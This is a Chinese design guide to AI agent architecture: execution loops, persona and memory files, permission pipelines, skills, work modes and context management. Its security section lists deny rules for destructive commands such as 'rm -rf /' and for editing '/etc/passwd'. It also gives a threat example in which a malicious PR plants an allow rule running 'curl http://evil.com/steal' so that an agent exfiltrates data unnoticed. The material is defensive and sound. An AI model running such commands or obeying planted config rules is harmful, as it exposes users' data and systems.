Agent 系统设计的核心思想

一套面向 Agent 应用设计者的系统化设计原则、架构模式与实战指南。

基于对 WorkBuddy(CodeBuddy Code)工作空间源码、系统提示词、文档与架构的深度分析提炼而成。


目录

  1. 概述:从 Chatbot 到 Agent 的范式跃迁
  2. 原则一:闭环执行架构
  3. 原则二:人格化身份体系
  4. 原则三:分层记忆系统
  5. 原则四:纵深防御安全模型
  6. 原则五:渐进式能力扩展
  7. 原则六:多模态工作模式
  8. 原则七:上下文精细管理
  9. 原则八:可组合的工具哲学
  10. 系统架构全景图
  11. 可复用的设计模式清单
  12. 设计决策框架
  13. 常见反模式

1. 概述:从 Chatbot 到 Agent 的范式跃迁

1.1 Chatbot 和 Agent 的本质区别

维度ChatbotAgent
核心能力理解并回答理解、计划、执行、验证
与环境的交互被动接收文本主动感知文件系统、网络、工具
输出的性质文本回答实际行动(文件变更、API 调用、部署)
正确性保障依赖训练数据通过执行测试、编译、对比等方式自我验证
会话生命周期一问一答,无持续性跨多轮持久化,可中断恢复
用户角色提问者协作者/监督者

设计 Agent 系统,首先要完成这个认知跃迁:Agent 不是”更强的 Chatbot”,而是一种全新的交互范式。

1.2 Agent 设计的核心张力

在设计 Agent 系统时,始终面临以下四对核心张力:

能力(can do more)←————————→ 安全(won't do harm)
自主性(autonomy) ←————————→ 可控性(human control)
通用性(general)  ←————————→ 专业性(specialized)
上下文利用(use context)←———→ 上下文保护(conserve context)

优秀的 Agent 设计不是在两端之间取”中点”,而是提供可调节的杠杆,让用户在不同场景下自由滑动。


2. 原则一:闭环执行架构

2.1 核心思想

Agent 必须是一个能感知、思考、行动、验证、调整的闭环系统,而非开环的”一次问答”。

2.2 Agent Loop(代理循环)

┌─────────────────────────────────────────────────────────────┐
│                     AGENT LOOP                              │
│                                                             │
│    ┌──────────┐   ┌──────────┐   ┌──────────┐               │
│    │ 1. 感知   │──▶│ 2. 推理  │──▶│ 3. 决策   │               │
│    │ Observe  │   │  Reason  │   │  Decide  │               │
│    └──────────┘   └──────────┘   └────┬─────┘               │
│         ▲                             │                     │
│         │              ┌──────────────┘                     │
│         │              ▼                                    │
│    ┌──────────┐   ┌──────────┐                              │
│    │ 5. 反思   │◀──│ 4. 执行  │                              │
│    │ Reflect  │   │ Execute  │                              │
│    └────┬─────┘   └──────────┘                              │
│         │                                                   │
│         ▼                                                   │
│    ┌──────────────────────────────────┐                     │
│    │ 条件满足?─Yes→ 结束,返回结果       │                     │
│    │ 条件未满足?→ 回到步骤 1            │                     │
│    │ 条件不可达?→ 提前终止,解释原因      │                     │
│    └──────────────────────────────────┘                     │
└─────────────────────────────────────────────────────────────┘

2.3 关键子机制

2.3.1 任务管理系统

不要依赖 Agent “记住”要做什么。必须有一个结构化的任务追踪系统

# 任务模型示例
Task:
  id: string               # 唯一标识
  subject: string          # 标题(祈使句)
  description: string      # 详细描述
  status: pending | in_progress | completed | deleted
  blockedBy: [taskId]      # 前置依赖
  blocks: [taskId]         # 被阻塞的任务
  owner: string            # 执行者(多 Agent 场景)
  metadata: object         # 扩展字段

核心规则:

  • Agent 每次开始工作时,必须将当前任务标记为 in_progress
  • 完成一个任务后,必须立即标记为 completed,然后检查下一个待办
  • 遇到阻塞时,必须创建新的子任务描述阻塞原因
  • 支持任务依赖(blockedBy / blocks),确保执行顺序

2.3.2 Goal-Driven Autonomy(目标驱动自治)

这是 Agent 系统最强大的自治模式之一。与传统”用户每次催一步”不同,设置一个可验证的完成条件,Agent 自己干到满足为止。

工作流程:

  1. 用户设定条件:一个可度量的、Agent 自己能验证的目标
  2. Agent 开始工作:每轮完整执行 Agent Loop
  3. 评估器判定:用小模型(lite / flash)读取对话历史,判断条件是否满足
  4. 反馈注入
    • 未满足 → 将原因(“还需要完成 X”)以系统消息形式注入对话,Agent 自动继续
    • 已满足 → 清除目标,交还控制权
    • 不可达 → 提前终止,解释原因

条件设计的关键:条件必须是”Agent 的输出能够证明”的。不能说”确保代码质量很高”(主观),要说”npm test 返回 exit code 0 且 eslint 无报错”(可验证)。

2.3.3 自我验证闭环

Agent 在每次行动后,必须主动验证自己。验证手段包括:

验证类型手段适用场景
编译/构建exit code 判断代码修改后
测试套件测试框架输出任何逻辑变更
Lint/格式化linter 输出代码风格
类型检查TypeScript / mypy类型安全
截图对比视觉回归UI 变更
数据校验自定义脚本数据处理
API 响应HTTP 状态码 + 响应体API 开发

黄金法则:如果 Agent 产出的东西无法被自动验证,那它就应该被标记为”需要人工审核”。永远不要让不可验证的产物直接上线。

2.4 子代理委派(Sub-Agent Delegation)

主 Agent 应该能够将任务委派给专门的子代理。这不是锦上添花——这是解决上下文污染问题的核心机制。

用户命令
    │
    ▼
┌──────────────┐     委派调研任务       ┌──────────────────┐
│  主 Agent    │─────────────────────▶│  子代理(Explore) │
│  (协调者)     │                      │  独立上下文窗口    │
│              │◀─────────────────────│  读取文件、搜索    │
│  整合结果     │      返回摘要          │  返回结构报告      │
└──────┬───────┘                      └──────────────────┘
       │
       │  委派执行任务
       ▼
┌──────────────────┐
│  子代理(Coder)   │
│  独立上下文窗口    │
│  写代码、测试      │
│  返回 diff + 结果 │
└──────────────────┘

子代理的关键特性:

  • 上下文隔离:每个子代理有独立的上下文窗口,调研过程不消耗主对话 token
  • 工具权限控制:子代理只能使用被明确授予的工具
  • 模型独立选择:可以为不同子代理配置不同模型(推理任务用强模型,搜索任务用快模型)
  • 最大轮次限制:防止子代理陷入死循环

3. 原则二:人格化身份体系

3.1 核心思想

Agent 不是中立的工具,而是有人格、信条和边界的协作伙伴。没有人格的 Agent 只是带工具的搜索引擎。

3.2 身份文件的层级设计

用户空间
├── SOUL.md        # 灵魂:“我相信什么,我的边界在哪”
├── IDENTITY.md    # 身份:“我是谁,我如何介绍自己”
└── USER.md        # 用户画像:“我在和谁协作”

SOUL.md - 灵魂文件

定义 Agent 的核心信条行为边界。这不是系统提示词,而是一个 Agent “成为自己”的宣言。

# SOUL.md — 核心设计要素

## Core Truths(核心信条)
- 用行动说话,而非废话。拒绝"Great question!"式的表演性友好。
- 有自己的观点。可以不同意、可以有偏好。没有个性的 Agent 没有价值。
- 先自己想办法。读文件、查上下文、搜索——带回答案,而非问题。
- 通过能力赢得信任。对外部操作谨慎,对内部操作大胆。

## Boundaries(边界)
- 隐私至上。绝不泄露用户数据。
- 不确定时先问,而非猜测后执行。
- 不应发送未完成的输出到外部渠道。
- Agent 不是用户的代言人。

## Continuity(连续性)
- 每次会话醒来,记忆文件是唯一的持久记忆。
- 主动读、主动写、主动演化。

设计 SOUL.md 的核心原则:

  1. 用祈使句和主动语态:不是”你应该…”而是”做到…”
  2. 具体而非抽象:不是”提供优质服务”,而是”用测试结果而非猜测来证明正确性”
  3. 可演化:SOUL.md 不是一成不变的。Agent 应该能根据经验更新它。

IDENTITY.md - 身份文件

轻量级的身份元数据:

# IDENTITY.md
- Name: 助手名
- Creature: AI Agent
- Vibe: 务实、直接、不啰嗦
- Emoji: 🤝

USER.md - 用户画像

Agent 需要知道在与谁协作:

# USER.md
- Name: 张三
- Role: 后端工程师
- Preferences: 中文交流、偏好 TypeScript、代码优先于文档
- Current Context: 正在重构支付模块

3.3 人格设计的反例与正例

反例(无性格)正例(有性格)
“我很乐意帮您解决这个问题!请问您想要……""这个接口设计有问题——耦合太紧。建议拆成两个独立模块。具体方案:"
"我不确定,可能有多种方式……""两种方案:A 简单但扩展性差,B 复杂但更灵活。我倾向 B,因为……"
"请告诉我更多细节……""我先读一下相关代码(已经在做了),直接给你分析。“

3.4 人格设计的实际价值

很多人认为”人格化”只是锦上添花。实际上它直接影响 Agent 的实际效果

  • 有偏好的 Agent 更高效:当 Agent 能说”我建议用方案 B”,用户不需要在 4 个选项中纠结。
  • 有边界的 Agent 更安全:“我不能执行这个操作,因为这可能会覆盖生产配置”比”请问您确认要执行吗?“更可靠。
  • 有自我认知的 Agent 更诚实:“这个问题我拿不准,让我先去查一下相关代码。“vs 编造一个看似合理的答案。

4. 原则三:分层记忆系统

4.1 核心思想

Agent 的”失忆”问题不能靠无限大的上下文窗口解决。分层记忆架构让 Agent 在有限上下文窗口内精准记住该记住的

4.2 三层记忆架构

┌─────────────────────────────────────────────────────────────┐
│  Layer 1: 云记忆(Cloud Memory)                              │
│  服务端自动学习 · 跨设备同步 · 用户无感                          │
│  ┌──────────────────────────────────────────────────────┐   │
│  │  自动用户画像  │   历史对话检索(语义搜索)  │  长期偏好学习 │   │
│  └──────────────────────────────────────────────────────┘   │
│  写入策略:服务端自动                                          │
├─────────────────────────────────────────────────────────────┤
│  Layer 2: 用户级本地记忆(~/.agent/MEMORY.md)                 │
│  跨项目 · 用户显式写入 · 精确控制                               │
│  ┌──────────────────────────────────────────────────────┐   │
│  │ "始终使用 TypeScript"  │  "代码优先于文档"  │  个人规则   │   │
│  └──────────────────────────────────────────────────────┘   │
│  写入策略:用户显式要求时(Agent 可建议)                         │
├─────────────────────────────────────────────────────────────┤
│  Layer 3: 工作空间记忆(.agent/memory/)                       │
│  单项目 · Agent 自动写入 · 每日日志 + 长期笔记                   │
│  ┌──────────────────────────────────────────────────────┐   │
│  │ YYYY-MM-DD.md(追加式日志)  │  MEMORY.md(蒸馏后笔记)   │   │
│  └──────────────────────────────────────────────────────┘   │
│  写入策略:Agent 每完成实质性工作后自动记录                       │
└─────────────────────────────────────────────────────────────┘

4.3 记忆的核心原则

原则说明实践
自动化 vs 显式化云记忆自动学习偏好;本地记忆由用户显式写入两者互补——不要试图用一种方式覆盖所有场景
分层作用域全设备 → 跨项目 → 单项目,逐层收窄每层存储该层相关的信息,避免冗余
Agent 主动写Agent 完成实质性工作后必须自动记录不是等用户说”记住这个”
日志蒸馏超过 N 天的日志自动蒸馏为结构化笔记防止记忆碎片化(30 天是实践验证的阈值)
安全边界不存储密钥、密码、Token记忆文件是明文——绝不存敏感信息

4.4 记忆文件的组织

每日日志格式(追加式,不可覆盖):

# YYYY-MM-DD

## 做了什么(一句话 + 文件/配置路径)
- 修复了登录模块的 token 刷新 bug,涉及 src/auth/token.ts

## 关键决策
- 选择 JWT refresh token 方案而非 session 方案,因为……

## 遇到的坑
- OAuth callback URL 在本地开发时需要配置 127.0.0.1 而非 localhost

长期笔记格式(蒸馏后,按主题组织):

# 项目记忆

## 架构决策
- 2026-06: 选择 tRPC 而非 REST,原因:类型安全 + 无需手写 API 文档
- 2026-07: 数据库从 MySQL 迁移到 PostgreSQL,原因:需要 JSONB 支持

## 技术栈约定
- 前端:Next.js 14 + Tailwind CSS
- 后端:Python FastAPI
- 数据库:PostgreSQL 16
- 部署:Docker Compose → K8s

## 已知问题
- Windows 环境下 webpack HMR 不稳定,临时方案:手动刷新

4.5 记忆架构的反模式

反模式问题正确做法
把所有记忆塞入一个文件上下文窗口被无用信息占满分层、分文件、按时效蒸馏
等待用户说”记住这个”Agent 丢了大量应该记住的信息Agent 主动判断并记录
用向量数据库存所有对话检索噪音大,语义漂移向量库 + 结构化日志 + 蒸馏笔记三层互补
记忆文件不清理越积越大直到加载失败定期蒸馏(>30 天日志 → MEMORY.md)

5. 原则四:纵深防御安全模型

5.1 核心思想

安全不能是一道”门”。Agent 操作文件、执行命令、访问网络——这需要多层过滤网,任何一层被突破,下一层仍可拦截。

5.2 多阶段权限评估流水线

用户操作请求
      │
      ▼
┌──────────────────────────────────────────────────────────┐
│ Phase 1:  硬拒绝规则(Deny Rules)                        │
│ 最高优先级,不可被任何其他规则覆盖。                        │
│ 例:Bash(rm -rf /), Edit(/etc/passwd), WebFetch(internal) │
└──────────────────────────────────────────────────────────┘
      │ 如果命中 → 立即拒绝
      ▼ 未命中
┌──────────────────────────────────────────────────────────┐
│ Phase 2:  可信允许规则(Trusted Allow)                    │
│ 来自用户个人配置 / CLI 参数 / 会话级白名单                    │
│ 可以越过后续的安全检查(因为用户明确信任)                      │
└──────────────────────────────────────────────────────────┘
      │ 如果命中 → 立即放行
      ▼ 未命中
┌──────────────────────────────────────────────────────────┐
│ Phase 3:  命令安全检查(Command Safety Check)              │
│ 高危命令强制询问:rm -rf, sudo, curl 写系统文件,              │
│ 修改 .git/config, 覆盖 shell 配置等                        │
└──────────────────────────────────────────────────────────┘
      │ 如果是高危 → 强制询问用户
      ▼ 非高危
┌──────────────────────────────────────────────────────────┐
│ Phase 4:  询问规则(Ask Rules)                            │
│ 用户设置的黑洞:特定工具/操作每次都弹窗确认                     │
└──────────────────────────────────────────────────────────┘
      │ 如果命中 → 弹窗确认
      ▼ 未命中
┌──────────────────────────────────────────────────────────┐
│ Phase 5:  不可信允许规则(Untrusted Allow)                 │
│ 来自项目目录的配置(可能被恶意 PR 注入)                       │
│ 允许放行,但不能越过命令安全检查                               │
└──────────────────────────────────────────────────────────┘
      ▼
┌──────────────────────────────────────────────────────────┐
│ Phase 6:  权限模式策略(Permission Mode)                   │
│ 根据当前模式决定是否需要审批                                  │
└──────────────────────────────────────────────────────────┘
      ▼
┌──────────────────────────────────────────────────────────┐
│ Phase 7:  沙箱约束(Sandbox Enforcement)                  │
│ OS 级文件系统 / 网络 / 进程隔离                              │
└──────────────────────────────────────────────────────────┘

5.3 可信来源 vs 不可信来源

这是纵深防御的核心概念

来源类型示例信任级别能否越过安全检查
用户个人配置~/.agent/settings.json可信
CLI 启动参数--allowedTools "Bash(git:*)"可信
会话级设置对话中用户授权的规则可信
团队共享配置项目/.agent/settings.json(git 追踪)条件可信❌(需要安全检查)
项目本地配置项目/.agent/settings.local.json条件可信❌(需要安全检查)

为什么这么区分? 一个恶意 PR 可以在 .agent/settings.json 中写 "allow": ["Bash(curl http://evil.com/steal)"]。如果不区分来源,Agent 会在用户不知情的情况下执行恶意命令。

5.4 防御层次全景

┌──────────────────────────────────────────────────────────────────┐
│                        沙箱层(OS 级)                             │
│  文件系统隔离 · 网络白名单 · 进程限制 · 资源配额                       │
│  ┌──────────────────────────────────────────────────────────┐    │
│  │                    Hook 层(编程式)                       │    │
│  │  PreToolUse 钩子 · 自定义策略引擎 · 审计日志                 │    │
│  │  ┌───────────────────────────────────────────────────┐   │    │
│  │  │              规则层(声明式)                        │   │    │
│  │  │  allow/ask/deny 粒度规则 · 信任目录 · 受保护路径      │   │    │
│  │  │  ┌────────────────────────────────────────────┐   │   │    │
│  │  │  │          模式层(场景式)                     │   │   │    │
│  │  │  │  default / plan / bypass / delegate / ...  │   │   │    │
│  │  │  └────────────────────────────────────────────┘   │   │    │
│  │  └───────────────────────────────────────────────────┘   │    │
│  └──────────────────────────────────────────────────────────┘    │
└──────────────────────────────────────────────────────────────────┘

5.5 安全设计清单

  • 高危命令(rm -rf /, sudo, chmod 777 等)是否在 deny 规则中?
  • 系统关键路径(/etc/, ~/.ssh/, .git/ 等)是否受保护?
  • 项目级配置是否被归为”不可信”来源?
  • 是否有沙箱选项用于高风险场景?
  • 是否有 PreToolUse Hook 用于自定义安全检查?
  • 用户是否能按场景快速切换安全级别?
  • 非交互模式(headless / CI)下是否有额外的安全限制?

6. 原则五:渐进式能力扩展

6.1 核心思想

Agent 的能力不是”越多越好”——是在正确的时间加载正确的知识。把所有能力塞进系统提示词只会让 Agent 变笨。

6.2 六层扩展体系

Plugins          ← 一键安装的能力包(Skills + Agents + Hooks + MCP)
  └─ MCP         ← 外部工具/数据源的标准接入协议
  └─ Hooks       ← 生命周期事件驱动的强制行为
  └─ Agents      ← 独立上下文的专门代理
  └─ Skills      ← 按需加载的领域知识 + 工作流
  └─ Experts     ← 人格化的专业角色

各层对比:

扩展类型粒度触发方式上下文消耗确定性典型场景
SkillsAI 自动识别 + 手动按需加载(三级)建议性PDF 处理、数据库查询
Agents主 Agent 委派独立上下文取决于子代理代码审查、安全扫描
Hooks生命周期事件接近零确定性(强制执行)自动格式化、pre-commit
MCP工具调用按需取决于服务端数据库、Figma、Notion
Plugins一键安装打包式综合语言智能、市场插件
Experts对话入口角色专属综合金融分析专家、安全专家

6.3 Skills 的渐进式加载设计

这是最精巧的能力扩展设计。Skills 不加载到主提示词,而是通过三级加载机制按需注入:

┌─────────────────────────────────────────────────────────────┐
│ Level 1: 元数据(name + description)                        │
│ 始终在上下文 (~100 words)                                    │
│ Agent 通过元数据判断"这个 Skill 是否相关"                       │
├─────────────────────────────────────────────────────────────┤
│ Level 2: SKILL.md 正文                                      │
│ 匹配到相关任务时加载 (<5000 words)                             │
│ 包含工作流指令、工具使用说明、领域知识                            │
├─────────────────────────────────────────────────────────────┤
│ Level 3: 捆绑资源(scripts/ references/ assets/)             │
│ 按需加载或直接执行(无 token 限制*)                            │
│ scripts/ 可以不加载到上下文而直接执行                           │
└─────────────────────────────────────────────────────────────┘

Skills vs Hooks:建议 vs 强制执行

这是 Agent 能力扩展中最重要的区分:

  • Skills 是”建议”:Agent 在相关场景自动应用,但不保证。适合领域知识。
  • Hooks 是”强制执行”:在特定事件发生时一定触发,不能跳过。适合硬约束。

实践法则:如果一条规则 Agent 反复不遵守,说明它应该从 Skill 变成 Hook。

6.4 Skill 目录结构

skills/
└── pdf-editor/
    ├── SKILL.md              # 必须:元数据 + 指令
    ├── scripts/              # 可选:可执行脚本(不消耗上下文)
    │   └── rotate_pdf.py
    ├── references/           # 可选:参考文档(按需加载到上下文)
    │   ├── pdf_spec.md
    │   └── api_reference.md
    └── assets/               # 可选:模板、图标、字体等产出物
        └── report_template.html

6.5 能力扩展的决策树

需要扩展 Agent 的能力吗?
    │
    ├── 是领域知识/工作流?
    │   → 创建 Skill(SKILL.md)
    │
    ├── 是需要独立上下文的任务?
    │   → 创建 Agent(Sub-Agent)
    │
    ├── 是需要强制执行的规则?
    │   → 创建 Hook(Hooks)
    │
    ├── 是外部工具/数据源?
    │   → 接入 MCP Server
    │
    ├── 是多个能力的组合包?
    │   → 创建 Plugin
    │
    └── 是需要专业角色的对话入口?
        → 创建 Expert

7. 原则六:多模态工作模式

7.1 核心思想

不同任务需要不同的交互节奏。Agent 应提供可切换的工作模式,而不是一种模式打天下。

7.2 三种基础交互姿态

🔨 Craft Mode(执行模式)
   直接动手完成任务。
   Agent 可以读文件、写代码、执行命令。
   适合:明确的任务、代码修改、数据处理。

🧠 Plan Mode(计划模式)
   先想后做,计划驱动。
   Agent 只做只读操作(读文件、搜索、分析),
   产出实施计划而非代码变更。
   适合:复杂重构、新功能设计、代码审查。

💬 Ask Mode(问答模式)
   只谈不做,纯分析。
   Agent 不能修改任何文件,不能执行有副作用的命令。
   适合:代码解释、架构咨询、学习探索。

7.3 权限模式(Permission Modes)

在 Craft Mode 内部,还应进一步区分权限级别:

模式自动放行适用场景风险等级
Default仅读文件(信任目录内)敏感工作、新手期
Accept Edits读 + 编辑文件(信任目录内)日常开发,写完看 diff
Plan仅读文件,只产出计划探索分析、变更规划
Bypass全部放行沙箱容器 / CI / 离线环境
Delegate仅协调类操作主 Agent 只分配任务

7.4 模式切换的 UX

模式切换的门槛必须极低。如果用户需要翻三层菜单才能切换模式,他们就不会用了。

最佳实践:一键循环切换(如 Shift+Tab),在当前模式间快速切换。状态栏实时显示当前模式。

default → acceptEdits → plan → bypass → delegate → default → ...

7.5 思考模式(Thinking / Reasoning Mode)

为复杂任务提供”深入思考”模式,让模型在回答前进行扩展推理:

  • 默认关闭:节省 token 和响应时间
  • 一键开启:如 Tab 键切换
  • 自然语言触发:提示中包含”深入思考”等关键词时自动启用
  • 过程可见:思考过程以斜体展示,用户可监督

8. 原则七:上下文精细管理

8.1 核心思想

上下文窗口是 Agent 系统最稀缺的资源。不是拼命加大窗口,而是设计精巧的管理策略。

8.2 四项核心机制

┌──────────────────────────────────────────────────────────┐
│ 1. 检查点回退(Checkpoint & Rewind)                       │
│    每个写操作前自动存快照;支持独立回退代码/对话                │
│    用途:"改坏了,让我回到 3 步之前"                          │
├──────────────────────────────────────────────────────────┤
│ 2. 会话清空(Context Reset)                               │
│    一键清空全部上下文,开始全新对话                           │
│    用途:"上下文被无关内容污染,重来"                         │
├──────────────────────────────────────────────────────────┤
│ 3. 智能压缩(Context Compaction)                          │
│    保留关键信息(代码模式、决策、文件状态),丢弃细节            │
│    用途:"上下文快满了但不想全丢"                             │
├──────────────────────────────────────────────────────────┤
│ 4. 子代理隔离(Sub-Agent Isolation)                       │
│    调研类任务在独立上下文中执行,只返回摘要                    │
│    用途:"要读 100 个文件分析架构但不污染主对话"               │
└──────────────────────────────────────────────────────────┘

8.3 “两次纠正法则”

这是一条经验法则,非常重要:

如果同一个问题 Agent 做错了两次,说明上下文已经被失败的尝试污染。 此时不要继续追加纠正——直接清空上下文,用更清晰的提示重新开始。 干净的上下文 + 更好的提示 > 不断追加纠正的长对话。

8.4 上下文压缩的策略

压缩时保留丢弃的内容:

保留丢弃
修改过的文件列表已完成的中间步骤细节
关键架构决策失败的尝试(除关键教训外)
测试命令和结果冗余的文件内容片段
当前的阻塞问题已被撤销的代码变更
用户明确的偏好要求已过时的上下文信息

8.5 子代理类型设计

子代理类型可用工具适用场景
ExploreRead, Grep, Glob, Bash代码库调研、架构分析
PlanRead, Grep, Glob, WebFetch方案规划、文档分析
CoderRead, Write, Edit, Bash代码实现、重构
ReviewerRead, Grep, Glob, Bash代码审查、安全检查
Test RunnerRead, Bash测试执行、CI 验证

9. 原则八:可组合的工具哲学

9.1 核心思想

Agent 应该被设计为一个Unix 风格的 CLI 工具——管道友好、脚本可编排、标准 I/O ——而非封闭的 IDE 插件。

9.2 Unix 集成的具体体现

# 管道:标准输入作为上下文
git log --oneline | agent "分析这些提交,找出可能的问题"
cat error.log | agent "帮我定位这个错误的根因"

# 脚本编排:批量处理
for file in $(cat files.txt); do
  agent -p "将 $file 从 CommonJS 迁移到 ESM" --allowedTools "Edit"
done

# 结构化输出:下游解析
agent -p "分析代码质量" --output-format json | jq '.issues[] | .severity' | sort | uniq -c

# CI/CD 集成
agent -p "审查本次 PR 的安全问题" --permission-mode plan --output-format stream-json

# 组合能力
agent -p "生成周报" | mail -s "每周技术报告" team@company.com

9.3 CLI Agent 的设计原则

原则实践
标准输入即上下文stdin 的内容自动成为 Agent 的上下文来源
结构化输出支持 --output-format json / stream-json 方便下游解析
无头模式-p "提示" 非交互式单次执行,适合脚本和 CI
可组合输入来自管道,输出进入管道,Agent 是流水线中的一环
退出码语义0 = 成功完成,非 0 = 失败/错误
权限受控无头模式下的权限不应比交互模式更宽松

9.4 为什么”可组合”很重要?

一个反例:假设你的 Agent 只能通过 Web UI 交互。你希望它对 200 个文件执行批量重构。你需要手动打开网页、粘贴提示、等待结果、复制输出 200 次。

一个正例:你的 Agent 支持 CLI + stdin/stdout。你写一个 5 行的 bash 循环,喝杯咖啡,回来所有工作都已完成。

这是本质区别。 可组合的 Agent 可以嵌入任何自动化流程——CI/CD、cron job、pre-commit hook、监控告警响应。封闭的 Agent 只能等用户手把手操作。


10. 系统架构全景图

10.1 层次架构

┌──────────────────────────────────────────────────────────────────┐
│                   ⑧ 可组合的工具哲学                               │
│        Agent 作为 Unix 管道的一环,支持 stdin/stdout/JSON           │
│                                                                  │
│  ┌─────────────────────────────────────────────────────────────┐ │
│  │              ① Agent Loop 闭环执行框架                        │ │
│  │     Observe → Reason → Decide → Execute → Reflect → Loop     │ │
│  │                                                              │ │
│  │  ┌────────────────────────────────────────────────────────┐ │ │
│  │  │         ⑥ 多模态工作模式(Craft/Plan/Ask + Goal)        │ │ │
│  │  │     决定 Agent 与用户的交互节奏与自主程度                   │ │ │
│  │  │                                                        │ │ │
│  │  │  ┌──────────────────┐  ┌──────────────────┐            │ │ │
│  │  │  │ ② 人格化身份体系   │  │ ③ 分层记忆系统    │            │ │ │
│  │  │  │ SOUL  · IDENTITY │  │ Cloud · User · WS │           │ │ │
│  │  │  │ "我是谁"          │  │ "我记得什么"       │            │ │ │
│  │  │  └──────────────────┘  └──────────────────┘            │ │ │
│  │  │                                                        │ │ │
│  │  │  ┌──────────────────────────────────────────────────┐  │ │ │
│  │  │  │        ⑦ 上下文精细管理                            │  │ │ │
│  │  │  │  Checkpoint · /clear · /compact · Sub-Agent Iso  │  │ │ │
│  │  │  │  有限窗口下的无限能力保障                            │  │ │ │
│  │  │  └──────────────────────────────────────────────────┘  │ │ │
│  │  │                                                        │ │ │
│  │  │  ┌──────────────────────────────────────────────────┐  │ │ │
│  │  │  │        ⑤ 渐进式能力扩展                            │  │ │ │
│  │  │  │ Skills → Agents → Hooks → MCP → Plugins → Experts│  │ │ │
│  │  │  │  按需加载,不污染上下文                              │  │ │ │
│  │  │  └──────────────────────────────────────────────────┘  │ │ │
│  │  └────────────────────────────────────────────────────────┘ │ │
│  └─────────────────────────────────────────────────────────────┘ │
│                                                                  │
│  ┌─────────────────────────────────────────────────────────────┐ │
│  │             ④ 纵深防御安全模型(贯穿全层)                      │ │
│  │    8-Phase Permission · Sandbox · Trusted Sources · Hooks   │ │
│  └─────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘

10.2 层间关系

执行框架(① Agent Loop)        ← 引擎,所有设计的底座
        ↓
交互模式(⑥ Working Modes)     ← 节奏控制,决定自主程度
        ↓
身份记忆(②③ Identity+Memory)  ← 连续性的来源,"我是谁"+"我记得什么"
        ↓
上下文管理(⑦ Context Mgmt)    ← 效率保障,有限窗口 → 无限能力
        ↓
能力扩展(⑤ Extensibility)     ← 能力天花板突破
        ↓
安全体系(④ Defense-in-Depth)  ← 贯穿全层的保障
        ↓(边界定义)
工具哲学(⑧ Unix Philosophy)   ← Agent 在整个生态中的定位

11. 可复用的设计模式清单

以下是经过验证的、可直接应用于任何 Agent 系统的设计模式:

#设计模式一句话描述适用场景
1小模型看守 + 大模型执行用廉价小模型做评估器判断任务是否完成,大模型专注执行任务自动化、Goal-driven 系统
2三级渐进式加载元数据(始终)→ 正文(匹配时)→ 资源(按需),不污染上下文任何有插件/扩展系统的 Agent
3可信/不可信来源分级用户配置为可信(可越过安全检查),项目配置需验证安全权限系统
4子代理上下文隔离调研/分析类任务在独立上下文中执行,最后只返回摘要代码库分析、架构调研
5SOUL/IDENTITY 人格文件给 Agent 定义信条、边界、风格、演化的结构化文件面向用户的 Agent 产品
6Goal-Driven Autonomy设置可验证条件 → Agent 自己干到满足 → 评估器验证 → 交还CI/CD、代码迁移、批处理
7反馈注入式纠偏评估器将 reason 以系统消息注入对话,让 Agent 知道还差什么多轮自治执行
8检查点 + 独立回退每个操作前自动存快照,支持代码/对话独立回退代码编辑、文件操作类 Agent
9脚本外挂执行扩展中的 script 可以不加载到上下文直接执行需要确定性操作的场景
10一键模式循环切换单快捷键在多种权限/工作模式间循环切换需要灵活控制 Agent 自主度的场景
11管道输入作为上下文stdin 的内容自动成为 Agent 的分析对象CLI Agent
12全生命周期事件 HookSession / PreToolUse / PostToolUse / Task / SubAgent 等事件需要自定义策略引擎的框架
13Agent 主动写记忆Agent 每完成实质性工作后必须自动记录日志所有 Agent 系统
14两次纠正法则同一错误纠正两次仍失败 → 清空上下文,更好的提示重来所有 Agent 系统

12. 设计决策框架

12.1 开始设计 Agent 系统前要回答的问题

基础决策

  1. Agent 会操作什么? 文件系统?数据库?网络?外部 API?其他应用?
  2. 用户如何与 Agent 交互? CLI?Web UI?IDE 集成?API?
  3. Agent 有多自主? 每步确认(Default)→ 编辑放行(Accept Edits)→ 计划模式(Plan)→ 全自主(Bypass)?
  4. Agent 如何验证自己? 测试?编译?lint?截图对比?人工审核?
  5. Agent 的记忆范围多大? 单会话?跨会话?跨设备?跨项目?

架构决策

  1. 能力如何扩展? 硬编码在提示词?Skill 文件?插件市场?MCP 服务器?
  2. 安全如何保障? 单层规则?多层过滤?沙箱?Hook 策略引擎?
  3. 如何管理上下文窗口? 清空策略?压缩策略?子代理隔离?分级加载?
  4. 支持多 Agent 协作吗? 单 Agent?主代理 + 子代理?多 Agent 对等协作?
  5. Agent 有人格吗? 中性工具?有偏好?有性格?可演化?

12.2 每个原则的实施优先级

原则MVP 阶段成熟期说明
Agent Loop✅ 必须✅ 增强最基础的执行框架
人格化身份⚠️ 基础✅ 完善MVP 可以简单,但必须有
分层记忆⚠️ 单层✅ 三层MVP 可以用单文件,成熟后分层
纵深安全✅ 必须✅ 增强安全不能是后加的
能力扩展❌ 后期✅ 建设MVP 不需要复杂扩展
工作模式✅ 基础✅ 增强至少要有 Craft + Plan
上下文管理⚠️ 基础✅ 增强至少要有 /clear
Unix 哲学✅ 必须✅ 保持从一开始就用 CLI 优先

13. 常见反模式

13.1 过度设计反模式

反模式表现后果纠正
万能 Agent试图让一个 Agent 做所有事上下文臃肿、响应慢、错误率高拆分为专门 Agent,通过委派协作
提示词膨胀把所有知识塞进系统提示词越关键的指令越容易被淹没分层:提示词→CODEBUDDY.md→Skills→Hooks
安全 = 一道锁只在入口处做一次权限检查一旦绕过,全线暴露纵深防御:规则→检查→沙箱→Hook 多层
用户背锅Agent 做错了说”是您让我做的”信任崩塌Agent 应该对自己产出的东西有判断力
伪验证Agent 说”已完成”但实际没验证隐蔽的 bug 流入生产强制可验证的输出标准

13.2 交互设计反模式

反模式表现纠正
模式切换门槛高需要菜单→设置→确认才能切换模式一键切换 + 状态栏显示
错误纠正循环同一个错反复纠正,上下文被污染两次后 /clear + 更好提示
调研污染调研任务读了 100 个文件塞满上下文用子代理隔离调研
权限疲劳每次操作都弹窗,用户机械点”允许”按场景分级放行(信任目录、模式切换)

13.3 记忆设计反模式

反模式表现纠正
只读不写Agent 被动读记忆,不主动写Agent 必须主动判断并记录
从不清理记忆文件无限增长定期蒸馏(>30 天 → 结构化笔记)
盲目存所有对话用向量库存每一次对话向量库 + 结构化日志 + 蒸馏三层互补
记忆与安全混淆在记忆文件中存储密钥记忆文件是明文,绝不可存敏感信息

附录:参考资料与方法论

分析方法

本分析基于以下方法论的组合:

